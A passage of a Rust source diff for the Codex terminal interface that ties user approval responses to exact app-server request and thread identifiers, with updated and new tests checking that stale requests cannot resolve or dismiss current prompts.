assert_eq!(explicit_exec_store.pending_replay_requests().len(), 1); + assert!(explicit_exec_store.has_pending_thread_approvals()); + + let mut patch_store = ThreadEventStore::new(/*capacity*/ 8); + patch_store.push_request(ServerRequest::FileChangeRequestApproval { + request_id: AppServerRequestId::Integer(22), + params: FileChangeRequestApprovalParams { + thread_id: "thread-1".to_string(), + turn_id: "turn-1".to_string(), + item_id: "patch-call".to_string(), + started_at_ms: 0, + reason: None, + grant_root: None, + }, + }); + patch_store.push_notification(item_started("turn-1", file_change_item("patch-call"))); + assert!(patch_store.pending_replay_requests().is_empty()); + assert!(!patch_store.has_pending_thread_approvals()); + } + #[test] fn thread_event_snapshot_drops_answered_request_user_input_for_multi_prompt_turn() { let mut store = ThreadEventStore::new(/*capacity*/ 8); diff --git a/codex-rs/tui/src/app/tests.rs b/codex-rs/tui/src/app/tests.rs index a476a3ebb8..1186de3f56 100644 --- a/codex-rs/tui/src/app/tests.rs +++ b/codex-rs/tui/src/app/tests.rs @@ -235,8 +235,9 @@ async fn enqueue_primary_thread_session_replays_buffered_approval_after_attach() .handle_key_event(KeyEvent::new(KeyCode::Char('y'), KeyModifiers::NONE)); while let Ok(app_event) = app_event_rx.try_recv() { - if let AppEvent::SubmitThreadOp { + if let AppEvent::ResolveAppServerRequest { thread_id: op_thread_id, + request_id: AppServerRequestId::Integer(1), .. } = app_event { @@ -245,7 +246,7 @@ async fn enqueue_primary_thread_session_replays_buffered_approval_after_attach() } } - panic!("expected approval action to submit a thread-scoped op"); + panic!("expected approval action to resolve the exact app-server request"); } #[tokio::test] @@ -272,7 +273,7 @@ async fn resolved_buffered_approval_does_not_become_actionable_after_drain() -> let resolved = app .pending_app_server_requests - .resolve_notification(&AppServerRequestId::Integer(1)) + .resolve_notification(thread_id, &AppServerRequestId::Integer(1)) .expect("matching app-server request should resolve"); app.chat_widget.dismiss_app_server_request(&resolved); while app_event_rx.try_recv().is_ok() {} @@ -300,7 +301,10 @@ async fn resolved_buffered_approval_does_not_become_actionable_after_drain() -> while let Ok(app_event) = app_event_rx.try_recv() { assert!( - !matches!(app_event, AppEvent::SubmitThreadOp { .. }), + !matches!( + app_event, + AppEvent::SubmitThreadOp { .. } | AppEvent::ResolveAppServerRequest { .. } + ), "resolved buffered approval should not become actionable" ); } @@ -308,6 +312,40 @@ async fn resolved_buffered_approval_does_not_become_actionable_after_drain() -> Ok(()) } +#[tokio::test] +async fn ordinary_submit_thread_op_cannot_consume_pending_app_server_request() -> Result<()> { + let mut app = make_test_app().await; + let thread_id = ThreadId::new(); + let approval_request = exec_approval_request(thread_id, "turn-1", "call-1", Some("approval-1")); + assert_eq!( + app.pending_app_server_requests + .note_server_request(&approval_request), + None + ); + let mut app_server = Box::pin(crate::start_embedded_app_server_for_picker( + app.chat_widget.config_ref(), + )) + .await?; + + app.submit_thread_op( + &mut app_server, + thread_id, + Op::ExecApproval { + id: "approval-1".to_string(), + turn_id: None, + decision: codex_app_server_protocol::CommandExecutionApprovalDecision::Accept, + }, + ) + .await?; + + assert!( + app.pending_app_server_requests + .contains_server_request(&approval_request), + "an untagged ordinary op must not consume app-server request state" + ); + Ok(()) +} + #[tokio::test] async fn enqueue_primary_thread_session_replays_turns_before_initial_prompt_submit() -> Result<()> { let (mut app, mut app_event_rx, _op_rx) = make_test_app_with_channels().await; @@ -2819,8 +2857,9 @@ async fn inactive_thread_invalid_url_elicitation_is_declined() { ); assert_matches!( app_event_rx.try_recv(), - Ok(AppEvent::SubmitThreadOp { + Ok(AppEvent::ResolveAppServerRequest { thread_id: op_thread_id, + request_id: AppServerRequestId::Integer(10), op: Op::ResolveElicitation { server_name, request_id: AppServerRequestId::Integer(10), diff --git a/codex-rs/tui/src/app/thread_events.rs b/codex-rs/tui/src/app/thread_events.rs index e6d69bdf44..574809bc2e 100644 --- a/codex-rs/tui/src/app/thread_events.rs +++ b/codex-rs/tui/src/app/thread_events.rs @@ -6,6 +6,7 @@ //! together with the replay behavior that consumes them. use super::*; +use codex_app_server_protocol::RequestId as AppServerRequestId; #[derive(Debug, Clone)] pub(super) struct ThreadEventSnapshot { @@ -235,6 +236,11 @@ impl ThreadEventStore { self.pending_interactive_replay.note_outbound_op(op); } + pub(super) fn note_resolved_app_server_request(&mut self, request_id: &AppServerRequestId) { + self.pending_interactive_replay + .note_resolved_app_server_request(request_id); + } + pub(super) fn op_can_change_pending_replay_state(op: T) -> bool where T: Into, diff --git a/codex-rs/tui/src/app/thread_routing.rs b/codex-rs/tui/src/app/thread_routing.rs index 2f8ad2bcc1..7e83c54435 100644 --- a/codex-rs/tui/src/app/thread_routing.rs +++ b/codex-rs/tui/src/app/thread_routing.rs @@ -6,6 +6,7 @@ use super::*; use crate::session_resume::read_session_model; +use codex_app_server_protocol::RequestId as AppServerRequestId; #[derive(Clone, Copy)] pub(super) enum ThreadRollbackOrigin { @@ -113,6 +114,18 @@ impl App { store.note_outbound_op(op); } + async fn note_resolved_app_server_request( + &mut self, + thread_id: ThreadId, + request_id: &AppServerRequestId, + ) { + let Some(channel) = self.thread_event_channels.get(&thread_id) else { + return; + }; + let mut store = channel.store.lock().await; + store.note_resolved_app_server_request(request_id); + } + pub(super) async fn note_active_thread_outbound_op(&mut self, op: &AppCommand) { if !ThreadEventStore::op_can_change_pending_replay_state(op) { return; @@ -219,7 +232,7 @@ impl App { ) -> std::io::Result> { let thread_label = Some(self.thread_label(thread_id)); Ok(match request { - ServerRequest::CommandExecutionRequestApproval { params, .. } => { + ServerRequest::CommandExecutionRequestApproval { request_id, params } => { let network_approval_context = params.network_approval_context.clone(); let additional_permissions = params.additional_permissions.clone(); let proposed_execpolicy_amendment = params.proposed_execpolicy_amendment.clone(); @@ -227,6 +240,7 @@ impl App { params.proposed_network_policy_amendments.clone(); Some(ThreadInteractiveRequest::Approval(ApprovalRequest::Exec { thread_id, + app_server_request_id: Some(request_id.clone()), thread_label, id: params .approval_id @@ -253,9 +267,10 @@ impl App { additional_permissions, })) } - ServerRequest::FileChangeRequestApproval { params, .. } => Some( + ServerRequest::FileChangeRequestApproval { request_id, params } => Some( ThreadInteractiveRequest::Approval(ApprovalRequest::ApplyPatch { thread_id, + app_server_request_id: Some(request_id.clone()), thread_label, id: params.item_id.clone(), reason: params.reason.clone(), @@ -317,7 +332,7 @@ impl App { } } } - ServerRequest::PermissionsRequestApproval { params, .. } => { + ServerRequest::PermissionsRequestApproval { request_id, params } => { // TODO(anp): Remove this native-path localization error path once core permission // paths remain PathUri after crossing the app-server boundary. let permissions = params.permissions.clone().try_into().map_err(|err| { @@ -329,6 +344,7 @@ impl App { Some(ThreadInteractiveRequest::Approval( ApprovalRequest::Permissions { thread_id, + app_server_request_id: Some(request_id.clone()), thread_label, call_id: params.item_id.clone(), environment_id: params.environment_id.clone(), @@ -439,13 +455,6 @@ impl App { ) -> Result<()> { crate::session_log::log_outbound_op(&op); - if self - .try_resolve_app_server_request(app_server, thread_id, &op) - .await? - { - return Ok(()); - } - if self .try_submit_active_thread_op_via_app_server(app_server, thread_id, &op) .await? @@ -795,18 +804,24 @@ impl App { } } - pub(super) async fn try_resolve_app_server_request( + pub(super) async fn resolve_app_server_request( &mut self, app_server: &AppServerSession, thread_id: ThreadId, + request_id: AppServerRequestId, op: &AppCommand, - ) -> Result { + ) -> Result<()> { let Some(resolution) = self .pending_app_server_requests - .take_resolution(op) + .take_resolution(thread_id, &request_id, op) .map_err(|err| color_eyre::eyre::eyre!(err))? else { - return Ok(false); + tracing::debug!( + thread_id = %thread_id, + request_id = ?request_id, + "ignoring stale app-server request response" + ); + return Ok(()); }; match app_server @@ -815,17 +830,18 @@ impl App { { Ok(()) => { if ThreadEventStore::op_can_change_pending_replay_state(op) { - self.note_thread_outbound_op(thread_id, op).await; + self.note_resolved_app_server_request(thread_id, &request_id) + .await; self.refresh_pending_thread_approvals().await; self.refresh_side_parent_status_from_store(thread_id).await; } - Ok(true) + Ok(()) } Err(err) => { self.chat_widget.add_error_message(format!( "Failed to resolve app-server request for thread {thread_id}: {err}" )); - Ok(false) + Ok(()) } } } diff --git a/codex-rs/tui/src/app_event.rs b/codex-rs/tui/src/app_event.rs index 23e42ce8fe..eb8efee03a 100644 --- a/codex-rs/tui/src/app_event.rs +++ b/codex-rs/tui/src/app_event.rs @@ -26,6 +26,7 @@ use codex_app_server_protocol::PluginMarketplaceEntry; use codex_app_server_protocol::PluginReadParams; use codex_app_server_protocol::PluginReadResponse; use codex_app_server_protocol::PluginUninstallResponse; +use codex_app_server_protocol::RequestId as AppServerRequestId; use codex_app_server_protocol::SkillsListResponse; use codex_app_server_protocol::ThreadGoalStatus; use codex_connectors::AppInfo; @@ -161,6 +162,13 @@ pub(crate) enum AppEvent { op: AppCommand, }, + /// Resolve one exact app-server request generation. + ResolveAppServerRequest { + thread_id: ThreadId, + request_id: AppServerRequestId, + op: AppCommand, + }, + /// Interrupt, roll back, and retry a safety-buffered turn with the server-selected model. RetrySafetyBufferedTurn { thread_id: ThreadId, diff --git a/codex-rs/tui/src/app_event_sender.rs b/codex-rs/tui/src/app_event_sender.rs index 1d5ac55d95..738fb3b2ee 100644 --- a/codex-rs/tui/src/app_event_sender.rs +++ b/codex-rs/tui/src/app_event_sender.rs @@ -77,40 +77,60 @@ impl AppEventSender { ))); } + pub(crate) fn app_server_user_input_answer( + &self, + thread_id: ThreadId, + request_id: AppServerRequestId, + id: String, + response: ToolRequestUserInputResponse, + ) { + self.send_app_server_response( + thread_id, + request_id, + AppCommand::user_input_answer(id, response), + ); + } + pub(crate) fn exec_approval( &self, thread_id: ThreadId, + request_id: Option, id: String, decision: CommandExecutionApprovalDecision, ) { - self.send(AppEvent::SubmitThreadOp { + self.send_prompt_response( thread_id, - op: AppCommand::exec_approval(id, /*turn_id*/ None, decision), - }); + request_id, + AppCommand::exec_approval(id, /*turn_id*/ None, decision), + ); } pub(crate) fn request_permissions_response( &self, thread_id: ThreadId, + request_id: Option, id: String, response: RequestPermissionsResponse, ) { - self.send(AppEvent::SubmitThreadOp { + self.send_prompt_response( thread_id, - op: AppCommand::request_permissions_response(id, response), - }); + request_id, + AppCommand::request_permissions_response(id, response), + ); } pub(crate) fn patch_approval( &self, thread_id: ThreadId, + request_id: Option, id: String, decision: FileChangeApprovalDecision, ) { - self.send(AppEvent::SubmitThreadOp { + self.send_prompt_response( thread_id, - op: AppCommand::patch_approval(id, decision), - }); + request_id, + AppCommand::patch_approval(id, decision), + ); } pub(crate) fn resolve_elicitation( @@ -122,9 +142,98 @@ impl AppEventSender { content: Option, meta: Option, ) { - self.send(AppEvent::SubmitThreadOp { + self.send_app_server_response( thread_id, - op: AppCommand::resolve_elicitation(server_name, request_id, decision, content, meta), + request_id.clone(), + AppCommand::resolve_elicitation(server_name, request_id, decision, content, meta), + ); + } + + fn send_prompt_response( + &self, + thread_id: ThreadId, + request_id: Option, + op: AppCommand, + ) { + match request_id { + Some(request_id) => self.send_app_server_response(thread_id, request_id, op), + None => self.send(AppEvent::SubmitThreadOp { thread_id, op }), + } + } + + fn send_app_server_response( + &self, + thread_id: ThreadId, + request_id: AppServerRequestId, + op: AppCommand, + ) { + self.send(AppEvent::ResolveAppServerRequest { + thread_id, + request_id, + op, }); } } + +#[cfg(test)] +mod tests { + use super::*; + use tokio::sync::mpsc::unbounded_channel; + + fn thread_id() -> ThreadId { + ThreadId::from_string("00000000-0000-0000-0000-000000000001").expect("valid thread id") + } + + #[test] + fn typed_app_server_request_ids_select_exact_resolution_route() { + let (tx, mut rx) = unbounded_channel(); + let sender = AppEventSender::new(tx); + + for request_id in [ + AppServerRequestId::Integer(1), + AppServerRequestId::String("1".to_string()), + ] { + sender.exec_approval( + thread_id(), + Some(request_id.clone()), + "approval".to_string(), + CommandExecutionApprovalDecision::Accept, + ); + + let AppEvent::ResolveAppServerRequest { + thread_id: event_thread_id, + request_id: event_request_id, + op: AppCommand::ExecApproval { id, .. }, + } = rx.try_recv().expect("expected exact app-server response") + else { + panic!("expected ResolveAppServerRequest"); + }; + assert_eq!(event_thread_id, thread_id()); + assert_eq!(event_request_id, request_id); + assert_eq!(id, "approval"); + } + } + + #[test] + fn untagged_approval_uses_ordinary_thread_op_route() { + let (tx, mut rx) = unbounded_channel(); + let sender = AppEventSender::new(tx); + + sender.exec_approval( + thread_id(), + /*request_id*/ None, + "approval".to_string(), + CommandExecutionApprovalDecision::Accept, + ); + + let AppEvent::SubmitThreadOp { + thread_id: event_thread_id, + op: AppCommand::ExecApproval { id, .. }, + } = rx.try_recv().expect("expected ordinary thread op") + else { + panic!("untagged approval must not use app-server resolution route"); + }; + assert_eq!(event_thread_id, thread_id()); + assert_eq!(id, "approval"); + } +} diff --git a/codex-rs/tui/src/bottom_pane/app_link_view.rs b/codex-rs/tui/src/bottom_pane/app_link_view.rs index bbd7f355c3..611c778087 100644 --- a/codex-rs/tui/src/bottom_pane/app_link_view.rs +++ b/codex-rs/tui/src/bottom_pane/app_link_view.rs @@ -757,6 +757,7 @@ impl BottomPaneView for AppLinkView { fn dismiss_app_server_request(&mut self, request: &ResolvedAppServerRequest) -> bool { let ResolvedAppServerRequest::McpElicitation { + thread_id, server_name, request_id, } = request @@ -766,7 +767,10 @@ impl BottomPaneView for AppLinkView { let Some(target) = self.elicitation_target.as_ref() else { return false; }; - if target.server_name != *server_name || target.request_id != *request_id { + if target.thread_id != *thread_id + || target.server_name != *server_name + || target.request_id != *request_id + { return false; } @@ -1229,8 +1233,13 @@ mod tests { view.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE)); match rx.try_recv() { - Ok(AppEvent::SubmitThreadOp { thread_id, op }) => { + Ok(AppEvent::ResolveAppServerRequest { + thread_id, + request_id, + op, + }) => { assert_eq!(thread_id, target.thread_id); + assert_eq!(request_id, target.request_id); assert_eq!( op, Op::ResolveElicitation { @@ -1385,8 +1394,13 @@ mod tests { Err(err) => panic!("missing app event: {err}"), } match rx.try_recv() { - Ok(AppEvent::SubmitThreadOp { thread_id, op }) => { + Ok(AppEvent::ResolveAppServerRequest { + thread_id, + request_id, + op, + }) => { assert_eq!(thread_id, suggestion_target().thread_id); + assert_eq!(request_id, suggestion_target().request_id); assert_eq!( op, Op::ResolveElicitation { @@ -1427,8 +1441,13 @@ mod tests { view.handle_key_event(KeyEvent::new(KeyCode::Char('2'), KeyModifiers::NONE)); match rx.try_recv() { - Ok(AppEvent::SubmitThreadOp { thread_id, op }) => { + Ok(AppEvent::ResolveAppServerRequest { + thread_id, + request_id, + op, + }) => { assert_eq!(thread_id, suggestion_target().thread_id); + assert_eq!(request_id, suggestion_target().request_id); assert_eq!( op, Op::ResolveElicitation { @@ -1477,8 +1496,13 @@ mod tests { Err(err) => panic!("missing app event: {err}"), } match rx.try_recv() { - Ok(AppEvent::SubmitThreadOp { thread_id, op }) => { + Ok(AppEvent::ResolveAppServerRequest { + thread_id, + request_id, + op, + }) => { assert_eq!(thread_id, suggestion_target().thread_id); + assert_eq!(request_id, suggestion_target().request_id); assert_eq!( op, Op::ResolveElicitation { @@ -1516,8 +1540,17 @@ mod tests { tx, ); + assert!( + !view.dismiss_app_server_request(&ResolvedAppServerRequest::McpElicitation { + thread_id: generic_url_target().thread_id, + server_name: "codex_apps".to_string(), + request_id: AppServerRequestId::String("request-1".to_string()), + }) + ); + assert!(!view.is_complete()); assert!( view.dismiss_app_server_request(&ResolvedAppServerRequest::McpElicitation { + thread_id: suggestion_target().thread_id, server_name: "codex_apps".to_string(), request_id: AppServerRequestId::String("request-1".to_string()), }) @@ -1547,6 +1580,7 @@ mod tests { assert!( !view.dismiss_app_server_request(&ResolvedAppServerRequest::McpElicitation { + thread_id: suggestion_target().thread_id, server_name: "other_server".to_string(), request_id: AppServerRequestId::String("request-1".to_string()), }) diff --git a/codex-rs/tui/src/bottom_pane/approval_overlay.rs b/codex-rs/tui/src/bottom_pane/approval_overlay.rs index 3cc135da74..22fafbbfe2 100644 --- a/codex-rs/tui/src/bottom_pane/approval_overlay.rs +++ b/codex-rs/tui/src/bottom_pane/approval_overlay.rs @@ -72,6 +72,7 @@ use ratatui::widgets::Wrap; pub(crate) enum ApprovalRequest { Exec { thread_id: ThreadId, + app_server_request_id: Option, thread_label: Option, id: String, environment_id: Option, @@ -83,6 +84,7 @@ pub(crate) enum ApprovalRequest { }, Permissions { thread_id: ThreadId, + app_server_request_id: Option, thread_label: Option, call_id: String, environment_id: Option, @@ -91,6 +93,7 @@ pub(crate) enum ApprovalRequest { }, ApplyPatch { thread_id: ThreadId, + app_server_request_id: Option, thread_label: Option, id: String, reason: Option, @@ -125,19 +128,46 @@ impl ApprovalRequest { } } + fn app_server_request_id(&self) -> Option<&RequestId> { + match self { + ApprovalRequest::Exec { + app_server_request_id, + .. + } + | ApprovalRequest::Permissions { + app_server_request_id, + .. + } + | ApprovalRequest::ApplyPatch { + app_server_request_id, + .. + } => app_server_request_id.as_ref(), + ApprovalRequest::McpElicitation { request_id, .. } => Some(request_id), + } + } + pub(super) fn matches_resolved_request(&self, request: &ResolvedAppServerRequest) -> bool { + if self.thread_id() != request.thread_id() + || self.app_server_request_id() != Some(request.request_id()) + { + return false; + } match (self, request) { ( ApprovalRequest::Exec { id, .. }, - ResolvedAppServerRequest::ExecApproval { id: resolved_id }, + ResolvedAppServerRequest::ExecApproval { + id: resolved_id, .. + }, ) => id == resolved_id, ( ApprovalRequest::Permissions { call_id, .. }, - ResolvedAppServerRequest::PermissionsApproval { id }, + ResolvedAppServerRequest::PermissionsApproval { id, .. }, ) => call_id == id, ( ApprovalRequest::ApplyPatch { id, .. }, - ResolvedAppServerRequest::FileChangeApproval { id: resolved_id }, + ResolvedAppServerRequest::FileChangeApproval { + id: resolved_id, .. + }, ) => id == resolved_id, ( ApprovalRequest::McpElicitation { @@ -148,6 +178,7 @@ impl ApprovalRequest { ResolvedAppServerRequest::McpElicitation { server_name: resolved_server_name, request_id: resolved_request_id, + .. }, ) => server_name == resolved_server_name && request_id == resolved_request_id, _ => false, @@ -382,8 +413,12 @@ impl ApprovalOverlay { self.app_event_tx.send(AppEvent::InsertHistoryCell(cell)); } let thread_id = request.thread_id(); - self.app_event_tx - .exec_approval(thread_id, id.to_string(), decision); + self.app_event_tx.exec_approval( + thread_id, + request.app_server_request_id().cloned(), + id.to_string(), + decision, + ); } fn handle_permissions_decision( @@ -427,6 +462,7 @@ impl ApprovalOverlay { let thread_id = request.thread_id(); self.app_event_tx.request_permissions_response( thread_id, + request.app_server_request_id().cloned(), call_id.to_string(), codex_protocol::request_permissions::RequestPermissionsResponse { permissions: granted_permissions, @@ -437,15 +473,15 @@ impl ApprovalOverlay { } fn handle_patch_decision(&self, id: &str, decision: FileChangeApprovalDecision) { - let Some(thread_id) = self - .current_request - .as_ref() - .map(ApprovalRequest::thread_id) - else { + let Some(request) = self.current_request.as_ref() else { return; }; - self.app_event_tx - .patch_approval(thread_id, id.to_string(), decision); + self.app_event_tx.patch_approval( + request.thread_id(), + request.app_server_request_id().cloned(), + id.to_string(), + decision, + ); } fn handle_elicitation_decision( @@ -1227,6 +1263,7 @@ mod tests { fn make_exec_request() -> ApprovalRequest { ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".to_string(), environment_id: None, @@ -1244,6 +1281,7 @@ mod tests { fn make_permissions_request() -> ApprovalRequest { ApprovalRequest::Permissions { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, call_id: "test".to_string(), environment_id: None, @@ -1331,7 +1369,7 @@ mod tests { assert!(view.is_complete()); let mut decision = None; while let Ok(ev) = rx.try_recv() { - if let AppEvent::SubmitThreadOp { + if let AppEvent::ResolveAppServerRequest { op: Op::ResolveElicitation { decision: d, .. }, .. } = ev @@ -1361,6 +1399,41 @@ mod tests { assert!(saw_op, "expected approval decision to emit an op"); } + #[test] + fn app_server_approval_emits_exact_request_resolution() { + let (tx, mut rx) = unbounded_channel::(); + let tx = AppEventSender::new(tx); + let request_id = RequestId::Integer(1); + let mut request = make_exec_request(); + let thread_id = request.thread_id(); + let ApprovalRequest::Exec { + app_server_request_id, + .. + } = &mut request + else { + unreachable!("test helper should return an exec request"); + }; + *app_server_request_id = Some(request_id.clone()); + let mut view = make_overlay(request, tx, Features::with_defaults()); + + view.handle_key_event(KeyEvent::new(KeyCode::Char('y'), KeyModifiers::NONE)); + + let event = std::iter::from_fn(|| rx.try_recv().ok()) + .find(|event| matches!(event, AppEvent::ResolveAppServerRequest { .. })) + .expect("expected exact app-server resolution event"); + let AppEvent::ResolveAppServerRequest { + thread_id: event_thread_id, + request_id: event_request_id, + op: Op::ExecApproval { id, .. }, + } = event + else { + panic!("expected exact exec approval resolution"); + }; + assert_eq!(event_thread_id, thread_id); + assert_eq!(event_request_id, request_id); + assert_eq!(id, "test"); + } + #[test] fn deny_shortcut_submits_denied_exec_decision() { let (tx, mut rx) = unbounded_channel::(); @@ -1368,6 +1441,7 @@ mod tests { let mut view = make_overlay( ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".to_string(), environment_id: None, @@ -1412,6 +1486,7 @@ mod tests { let mut view = make_overlay( ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".to_string(), environment_id: None, @@ -1462,10 +1537,40 @@ mod tests { fn resolved_request_dismisses_overlay_without_emitting_abort() { let (tx, mut rx) = unbounded_channel::(); let tx = AppEventSender::new(tx); - let mut view = make_overlay(make_exec_request(), tx, Features::with_defaults()); + let request_id = RequestId::String("request-b".to_string()); + let mut request = make_exec_request(); + let ApprovalRequest::Exec { + app_server_request_id, + .. + } = &mut request + else { + unreachable!("test helper should return an exec request"); + }; + *app_server_request_id = Some(request_id.clone()); + let thread_id = request.thread_id(); + let mut view = make_overlay(request, tx, Features::with_defaults()); + assert!( + !view.dismiss_app_server_request(&ResolvedAppServerRequest::ExecApproval { + thread_id: ThreadId::new(), + request_id: request_id.clone(), + id: "test".to_string(), + }) + ); + assert!(!view.is_complete()); + assert!( + !view.dismiss_app_server_request(&ResolvedAppServerRequest::ExecApproval { + thread_id, + request_id: RequestId::String("request-a".to_string()), + id: "test".to_string(), + }), + "a stale request with the same semantic key must not dismiss the current prompt" + ); + assert!(!view.is_complete()); assert!( view.dismiss_app_server_request(&ResolvedAppServerRequest::ExecApproval { + thread_id, + request_id, id: "test".to_string(), }) ); @@ -1487,6 +1592,7 @@ mod tests { let mut view = make_overlay( ApprovalRequest::Exec { thread_id, + app_server_request_id: None, thread_label: Some("Robie [explorer]".to_string()), id: "test".to_string(), environment_id: None, @@ -1522,6 +1628,7 @@ mod tests { let mut view = make_overlay_with_keymap( ApprovalRequest::Exec { thread_id, + app_server_request_id: None, thread_label: Some("Robie [explorer]".to_string()), id: "test".to_string(), environment_id: None, @@ -1561,6 +1668,7 @@ mod tests { let view = make_overlay( ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: Some("Robie [explorer]".to_string()), id: "test".to_string(), environment_id: None, @@ -1590,6 +1698,7 @@ mod tests { let mut view = make_overlay( ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".to_string(), environment_id: None, @@ -1643,6 +1752,7 @@ mod tests { let mut view = make_overlay( ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".to_string(), environment_id: None, @@ -1683,6 +1793,7 @@ mod tests { let command = vec!["echo".into(), "hello".into(), "world".into()]; let exec_request = ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".into(), environment_id: None, @@ -1982,6 +2093,7 @@ mod tests { let tx = AppEventSender::new(tx); let exec_request = ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".into(), environment_id: None, @@ -2039,6 +2151,7 @@ mod tests { let tx = AppEventSender::new(tx); let exec_request = ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".into(), environment_id: None, @@ -2094,6 +2207,7 @@ mod tests { ); let request = ApprovalRequest::ApplyPatch { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: Some("Banach [worker]".to_string()), id: "test".to_string(), reason: None, @@ -2120,6 +2234,7 @@ mod tests { let tx = AppEventSender::new(tx); let exec_request = ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".into(), environment_id: None, @@ -2257,6 +2372,7 @@ mod tests { let mut view = make_overlay( ApprovalRequest::Exec { thread_id: ThreadId::new(), + app_server_request_id: None, thread_label: None, id: "test".into(), environment_id: None, @@ -2305,7 +2421,7 @@ mod tests { let mut decision = None; while let Ok(ev) = rx.try_recv() { - if let AppEvent::SubmitThreadOp { + if let AppEvent::ResolveAppServerRequest { op: Op::ResolveElicitation { decision: d, .. }, .. } = ev @@ -2339,7 +2455,7 @@ mod tests { view.handle_key_event(KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE)); let mut esc_decision = None; while let Ok(ev) = rx.try_recv() { - if let AppEvent::SubmitThreadOp { + if let AppEvent::ResolveAppServerRequest { op: Op::ResolveElicitation { decision, .. }, .. } = ev @@ -2369,7 +2485,7 @@ mod tests { view.handle_key_event(KeyEvent::new(KeyCode::Char('n'), KeyModifiers::NONE)); let mut n_decision = None; while let Ok(ev) = rx.try_recv() { - if let AppEvent::SubmitThreadOp { + if let AppEvent::ResolveAppServerRequest { op: Op::ResolveElicitation { decision, .. }, .. } = ev diff --git a/codex-rs/tui/src/bottom_pane/bottom_pane_view.rs b/codex-rs/tui/src/bottom_pane/bottom_pane_view.rs index 551bacd25a..93495f2ec0 100644 --- a/codex-rs/tui/src/bottom_pane/bottom_pane_view.rs +++ b/codex-rs/tui/src/bottom_pane/bottom_pane_view.rs @@ -1,3 +1,4 @@ +use crate::app::app_server_requests::AppServerRequestIdentity; use crate::app::app_server_requests::ResolvedAppServerRequest; use crate::bottom_pane::ApprovalRequest; use crate::bottom_pane::McpServerElicitationFormRequest; @@ -116,8 +117,9 @@ pub(crate) trait BottomPaneView: Renderable { fn try_consume_user_input_request( &mut self, request: ToolRequestUserInputParams, - ) -> Option { - Some(request) + identity: Option, + ) -> Option<(ToolRequestUserInputParams, Option)> { + Some((request, identity)) } /// Try to handle a supported MCP server elicitation form request; return the original value if diff --git a/codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs b/codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs index 447ab8e6c3..8c2f596ae2 100644 --- a/codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs +++ b/codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs @@ -1213,6 +1213,7 @@ impl McpServerElicitationOverlay { fn dismiss_resolved_request(&mut self, request: &ResolvedAppServerRequest) -> bool { let ResolvedAppServerRequest::McpElicitation { + thread_id, server_name, request_id, } = request @@ -1222,9 +1223,14 @@ impl McpServerElicitationOverlay { let queue_len = self.queue.len(); self.queue.retain(|queued_request| { - queued_request.server_name != *server_name || queued_request.request_id != *request_id + queued_request.thread_id != *thread_id + || queued_request.server_name != *server_name + || queued_request.request_id != *request_id }); - if self.request.server_name == *server_name && self.request.request_id == *request_id { + if self.request.thread_id == *thread_id + && self.request.server_name == *server_name + && self.request.request_id == *request_id + { self.advance_queue_or_complete(); return true; } @@ -2178,14 +2184,16 @@ mod tests { overlay.submit_answers(); let event = rx.try_recv().expect("expected resolution"); - let AppEvent::SubmitThreadOp { + let AppEvent::ResolveAppServerRequest { thread_id: resolved_thread_id, + request_id: outer_request_id, op, } = event else { - panic!("expected SubmitThreadOp"); + panic!("expected ResolveAppServerRequest"); }; assert_eq!(resolved_thread_id, thread_id); + assert_eq!(outer_request_id, request_id("request-1")); assert_eq!( op, Op::ResolveElicitation { @@ -2269,14 +2277,16 @@ mod tests { overlay.submit_answers(); let event = rx.try_recv().expect("expected resolution"); - let AppEvent::SubmitThreadOp { + let AppEvent::ResolveAppServerRequest { thread_id: resolved_thread_id, + request_id: outer_request_id, op, } = event else { - panic!("expected SubmitThreadOp"); + panic!("expected ResolveAppServerRequest"); }; assert_eq!(resolved_thread_id, thread_id); + assert_eq!(outer_request_id, request_id("request-1")); assert_eq!( op, Op::ResolveElicitation { @@ -2323,14 +2333,16 @@ mod tests { overlay.submit_answers(); let event = rx.try_recv().expect("expected resolution"); - let AppEvent::SubmitThreadOp { + let AppEvent::ResolveAppServerRequest { thread_id: resolved_thread_id, + request_id: outer_request_id, op, } = event else { - panic!("expected SubmitThreadOp"); + panic!("expected ResolveAppServerRequest"); }; assert_eq!(resolved_thread_id, thread_id); + assert_eq!(outer_request_id, request_id("request-1")); assert_eq!( op, Op::ResolveElicitation { @@ -2376,14 +2388,16 @@ mod tests { assert_eq!(overlay.on_ctrl_c(), CancellationEvent::Handled); let event = rx.try_recv().expect("expected resolution"); - let AppEvent::SubmitThreadOp { + let AppEvent::ResolveAppServerRequest { thread_id: resolved_thread_id, + request_id: outer_request_id, op, } = event else { - panic!("expected SubmitThreadOp"); + panic!("expected ResolveAppServerRequest"); }; assert_eq!(resolved_thread_id, thread_id); + assert_eq!(outer_request_id, request_id("request-1")); assert_eq!( op, Op::ResolveElicitation { @@ -2511,8 +2525,17 @@ mod tests { .expect("expected supported form"), ); + assert!( + !overlay.dismiss_app_server_request(&ResolvedAppServerRequest::McpElicitation { + thread_id: ThreadId::new(), + server_name: "server-1".to_string(), + request_id: request_id("request-1"), + }) + ); + assert_eq!(overlay.request.message, "First"); assert!( overlay.dismiss_app_server_request(&ResolvedAppServerRequest::McpElicitation { + thread_id, server_name: "server-1".to_string(), request_id: request_id("request-1"), }) @@ -2525,6 +2548,7 @@ mod 